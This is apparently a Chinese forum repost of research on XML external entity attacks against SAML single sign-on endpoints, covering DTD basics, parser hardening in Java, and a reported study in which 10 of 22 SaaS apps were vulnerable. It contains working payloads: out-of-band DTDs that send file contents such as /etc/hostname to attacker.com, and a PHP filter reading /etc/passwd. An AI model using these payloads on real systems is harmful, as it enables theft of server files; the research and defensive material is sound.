用户
搜索

该用户从未签到

i春秋作家

道格安全实验室成员

Rank: 7Rank: 7Rank: 7

8

主题

12

帖子

91

魔法币
收听
0
粉丝
2
注册时间
2017-9-25

i春秋签约作者春秋文阁

Passerby2 i春秋作家 道格安全实验室成员 i春秋签约作者 春秋文阁 楼主
发表于 2018-9-21 17:50:25 28393

在SAML接口中检测和利用XXE

这篇文章将描述我们在几个SAML接口中进行大规模的安全分析中收集的有关XML外部实体攻击(XML External Entity Attacks 即XXEA)的问题和发现。

XXEA在过去几个月中一直是一个受欢迎的攻击方式:

1. 我们如何在Google的生产服务器上获得读取权限

2.OpenID中的XXE:一个bug统治全部,看我如何发现影响Facebook服务器的远程执行代码缺陷

这篇文章将解释XXEA的基础知识以及如何将它们应用于SAML,也包括读者必须应对的一些特殊问题。

首先,我们介绍文档类型定义(Document Type Definition 即 DTD)XML外部实体注入(XML External Entity 即 XXE)的概念,然后介绍SAML的一些基础知识。

如果读者熟悉这些概念,可以跳过这些部分并转到SAML上的最后一节XXEA

文档类型定义(DTD)和XML外部实体注入(XXE)

1.了解DTD

通过使用文档类型定义(DTD),XML可以来描述文档的结构。
比如这段经典的HTML文档:

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
...

许多人认为上面的声明只是表明文档中的内容包含HTML 4.01数据,但从技术上讲,其实还有更多的。
此声明定义由“ - // W3C // DTD HTML 4.01 Transitional // EN”标识的HTML文档类型。
URL包含其声明:

" % curl -D- http://www.w3.org/TR/html4/loose.dtd

HTTP/1.1 200 OK
...
Content-Type: text/plain
 <!ENTITY % HTML.Version "-//W3C//DTD HTML 4.01 Transitional//EN"
<!ENTITY % HTML.Frameset "IGNORE">
<!ENTITY % ContentType "CDATA"
    ... "

现在,它取决于文档解析器是否已解析此URL。
而浏览器完全可以为了节省时间而不解析它。
而且,HTML不需要它,因为这个DTD是众所周知的,并且很可能在任何浏览器中都是硬编码的。

了解XML实体

但是,DTD的概念是通用的,并提供更多功能,例如,DTD允许定义实体:

<!DOCTYPE Response [
  <!ENTITY msg 'Hello World'>
]>
 <Response>&msg;</Response>

在这种情况下,实体消息被定义为字符串'Hello World'。
这个概念在HTML中也非常广泛,例如,&lt;(<)或&amp;(&)可用于编码特定字符(这些是由DTD定义的默认HTML实体)。

从技术上讲,处理给定文档的XML / HTML解析器会解析每个实体,例如,它会替换&msg;通过字符串'Hello World'。

实体解析本身并不成问题,但如果像这样使用它,会导致有效的拒绝服务(DoS)攻击:

 <!DOCTYPE Response [
  <!ENTITY a 'aaaaaa'>
  <!ENTITY b '&a;&a;&a;&a;&a;'>
  <!ENTITY c '&b;&b;&b;&b;&b;'>
  ...
  <!ENTITY z '&y;&y;&y;&y;&y;'>
]>
 <Response>&z;</Response>

通过解析此消息,实体&z;

以递归方式解决,导致高内存消耗。这种攻击也被称为  Billion laughs attackBillion laughs attack

了解XML外部实体注入

除了XML实体之外,DTD还提供定义外部实体的功能。
该概念类似于上面的HTML定义:

<!DOCTYPE Message [
  <!ENTITY msg SYSTEM '/etc/hostname'>
]>

<Message>&msg;</Message>

在本示例中,不是为Entity消息定义简单字符串,而是可以让文档解析器加载指定文件的内容,例如'/ etc / hostname'文件。
我们有很多种方法来实现:

<!ENTITY msg SYSTEM '/etc/hostname'>
<!ENTITY msg SYSTEM 'file:///etc/hostname'>
<!ENTITY msg SYSTEM 'http:///myserver.com/something'><!ENTITY msg PUBLIC 'm' '/etc/hostname'><!ENTITY msg PUBLIC 'm' 'file:///etc/hostname'>
<!ENTITY msg PUBLIC 'm' 'http:///myserver.com/something'>

以上示例主要有两个方面:
1.SYSTEM与PUBLIC:如名称所示,SYSTEM实体旨在用于本地存储在计算机上的文件,而PUBLIC用于可从Internet访问的内容,例如,前面提到的HTML定义。PUBLIC实体需要一个标识符(此处为:'m'),但标识符的值无关紧要。

2.协议,根据解析器(编程语言),可以使用文件的绝对路径,或使用file://协议。大多数解析器还理解http://和https://处理程序,例如,Java也允许使用jar://协议(基本上允许解压缩文件)。

XML外部实体注入攻击(XXEA)

XML外部实体攻击的工作原理如下:

1.攻击者与DTD一起准备XML消息,如上所示。 此消息通常包括读取本地存储文件的XXE,例如'/ etc / hostname'。

2.攻击者将准备好的XML消息发送到Web应用程序中。

3.Web应用程序处理传入的XML消息。它解析DTD,解析XXE,然后处理resultung XML。

4.Web应用程序向攻击者发送HTTP响应。对于成功的XXEA,此响应必须以某种方式包含本地存储文件的内容,例如'/ etc / hostname'文件。在非常基础的层面上,这可以与反射型XSS进行比较。

防止XXEA

考虑到安装XXEA的普遍性,预防并非易事。
另外令人担忧的是,大多数XML解析器默认启用了DTD处理(因此在大多数情况下处理XXE)。
例如,这是默认Java XML解析器的情况。而要缓解XXEA,必须按如下方式配置解析器:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// not important to prevent XXEA
dbf.setNamespaceAware(true);

// validate document while parsing it
dbf.setValidating(true);

// do not expand entity reference nodes
dbf.setExpandEntityReferences(false);

// validate document against DTD
dbf.setFeature("http://xml.org/sax/features/validation", true);

// do not include external general entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

// do not include external parameter entities or the external DTD subset
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// build the grammar but do not use the default attributes and attribute types information it contains
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", false);

// ignore the external DTD completely
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

安全断言标记语言(SAML)

身份管理最重要的行业标准是SecurityAssertion标记语言(SAML )。SAML基于可扩展标记语言(XML),可以安全地交换基于XML的身份验证消息。结合单点登录(SSO)系统,SAML特别为身份验证令牌提供标准化格式。

首先是好事:要了解如何在SAML中使用XXEA,但没有必要了解SAML如何正常工作。

我们需要知道的是:
1.SAML是基于XML。它允许我们包括DTD。
2.XML消息作为URL-Encoded和Base64-Encoded String传输到服务器。

SAML和XXEA的坏处是,验证SAML的应用程序通常不会反映任何内容。
这意味着,与第一个给定的XXEA示例相比,我们只能使用XXE读取系统资源的内容,但我们不能简单地将此内容发送到其他位置,以便攻击者可以访问它。

上图说明了这个问题。
发回给用户(攻击者)的唯一事情是登录是否成功。在我们的研究期间,只有少数应用程序响应了特定的错误消息,但在任何情况下,此消息都不会反映SAML-Assertion中的任何内容。因此,我们必须找到另一种方法来检索系统资源的内容。

SAMEL上的XXEA

检测阶段

在我们执行XXEA之前,我们从检测阶段开始。

XXEA的要求是:
1.服务器处理DTD。
2.XXE在DTD内被允许和处理。

要检测是否满足这些要求,我们将以下请求(使用Base64加URL编码)发送到Web应用程序的SAML URL端点:

<!DOCTYPE Message [
<!ENTITY send SYSTEM "http://attacker.com/working">
]>
<Message>&send;</Message>

我们在域  http://attacker.com 上设置了一个可以访问的Web服务器。
如果目标Web应用程序正确处理DTD,我们的Web服务器将收到GET请求,并且有可能发生XXEA。
如果我们没有收到GET请求,我们将尝试相同的想法,但使用PUBLIC而不是SYSTEM,因为一些解析器可能会禁用SYSTEM处理,而PUBLIC仍然被允许。

漏洞阶段

由于使用SAML的Web应用程序不反映SAML-Assertion中的内容,因此我们希望将系统资源的内容作为GET参数发送到我们自己的服务 http://attacker.com
基本理念如下:

<!DOCTYPE Message [
<!ENTITY file SYSTEM "/etc/hostname">
<!ENTITY send SYSTEM "http://attacker.com/?read=&file;">
]>
<Message>&send;</Message>

上面的代码不能直接使用。因为外部实体不得包含在其他外部实体中。这也意味着,大多数解析器将在发送实体声明中查找文件实体时中止DTD处理。然而,存在另一个称为参数实体的DTD功能,允许绕过此限制。
这个想法在Morgan等人关于DTD和XXE攻击的白皮书关于DTD和XXE攻击的白皮书 中有所描述。

 <!DOCTYPE Message [
  <!ENTITY % file SYSTEM 'file:///etc/hostname'>
  <!ENTITY % dtd SYSTEM 'http://attacker.com/mydtd'>
%dtd;]>
<Message>&send;</Message>

然后上面的内容是Base64加URL编码并发送到Web应用程序的SAML-Endpoint URL。请注意,在<Message>元素内发送的实体不是直接在DTD中定义的。它将在稍后从 http://attacker.com/mydtd 加载的DTD中定义。参数实体看起来与常见实体类似,但以百分比字符(%)开头。它们可以被视为DTD的元语言(与C / C ++中的#DEFINE指令相当)。

Web应用程序按如下方式处理DTD:
1.解析器处理第一个参数实体%文件,从而读取/ etc / hostname系统资源的内容。然后它处理第二个参数实体%dtd。
2.这个强制解析器加载攻击者的HTTP服务器提供的外部DTD。
服务器响应:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/send/%file;'>">
%all;

3.该文件立即被解析和处理。它定义了一个声明实体发送的参数实体%。发送实体是一个外部实体,再次指向攻击者的服务器。URL请求包含文件参数实体的内容。最后一行仅包含“%all;”。这意味着,在这个地方,将放置%all Entity的内容。这是发送实体的声明。

4.攻击者请求的最后一行包含“%dtd;”- 这意味着,在这个地方,文件的内容将放置 http://attacker.com/mydtd 。这是(再次)发送实体的声明。

5.Web应用程序处理“<Response>&send; </ Response>”行后,GET请求 http://attacker.com/send/%file; 执行并且攻击者接收到的内容'/ etc / hostname'文件。

这种方法的问题及其解决方案

在我们的研究中,我们发现了一些有趣的问题

防火墙

大多数Web应用程序都在防火墙后面。
在评估开始时,我们使用了可在 http://attacker.com:9090 上访问的Web服务器。这种方法的问题是,由于防火墙策略,一些Web应用程序不允许向端口9090发送GET请求。一旦我们将服务器端口更改为80(默认HTTP),检测阶段就成功了。

特殊字符和换行符

对于漏洞利用阶段,攻击者必须选择他想要读取的文件。我们尝试了不同的。最流行的是阅读'/ etc / passwd'文件。但是,此文件可能包含空格,换行符和特殊字符。根据目标Web应用程序及其XML解析器,该文件可能会导致问题。例如,在GET请求中,它们可以中断解析过程,或者像“<”这样的字符可以生成无效的XML,因此它不可解析。因此,我们更喜欢使用文件'/ etc / hostname'进行测试。在PHP中,通过直接使用Base64对其进行编码来读取任意文件的可能性很大:

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >

负载均衡器

我们可以在某些Web应用程序上检测到奇怪的行为。我们向他们发送了几条XXEA消息,并尝试读取'/ etc / hostname'文件。它在某些情况下失败了,但在其他尝试中它是成功的。这是因为Web应用程序位于负载均衡器后面,该负载均衡器将请求分配给不同的服务器。在其中一些文件中,'/ etc / hostname'文件存在,另一方面,它不存在。例如,这是CentOS服务器的情况。我们查看了将请求发送到attacker.com的Web应用程序的User-Agent,发现它们随机不同,例如User-Agent:Java / 1.6.0_45和User-Agent:Java / 1.7.0_55。这表示不同的服务器处理请求。

评估结果

在我们的研究期间,我们评估了22个支持通过SAML进行单点登录的软件即服务Web应用程序。
他们中有10人容易受到XXEA的影响,我们已将结果报告给他们。

结论

我们的研究表明,XXEA对SAML应用程序是一个真正的威胁。
最大的问题是,DTD处理是XXEA的必备要求,默认情况下在大多数XML解析器中启用,但开发人员似乎并不了解该功能。
完整的论文可以在这里找到:
http://nds.rub.de/research/publications/saml-saas/

Welcome to my blog:https://www.passer6y.fun/
学习一下~
使用道具 举报 回复
发表于 2018-10-1 05:06:41
学习一下。。
路漫漫,
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册